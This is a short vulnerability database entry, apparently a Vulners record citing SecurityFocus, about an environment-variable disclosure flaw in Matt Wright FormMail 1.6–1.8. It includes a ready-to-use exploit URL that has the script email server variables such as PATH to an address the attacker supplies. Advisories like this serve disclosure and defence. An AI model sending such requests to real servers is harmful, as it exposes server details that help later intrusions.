Matt Wright FormMail 1.6/1.7/1.8 Environmental Variables Disclosure Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Unauthorized access to CGI environmental variables in Matt Wright FormMail 1.6/1.7/1.


                                                source: http://www.securityfocus.com/bid/1187/info

An unauthorized remote user is capable of obtaining CGI environmental variable information from a web server running Matt Wright FormMail by requesting a specially formed URL that specifies the email address to send the details to. This is accomplished by specifying a particular CGI environmental variable such as PATH, DOCUMENT_ROOT, SERVER_PORT in the specially formed URL which will email the results to the address given. The information obtained could possibly be used to assist in a future attack.

http:/target/cgibin/formmail.cgi?env_report=PATH&recipient=&#60;email address&#62;&required=&firstname=&lastname=&email=&message=&Submit=&#60;message&#62;
This URL request assumes that the formmail.cgi script is located in the cgibin directory.

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1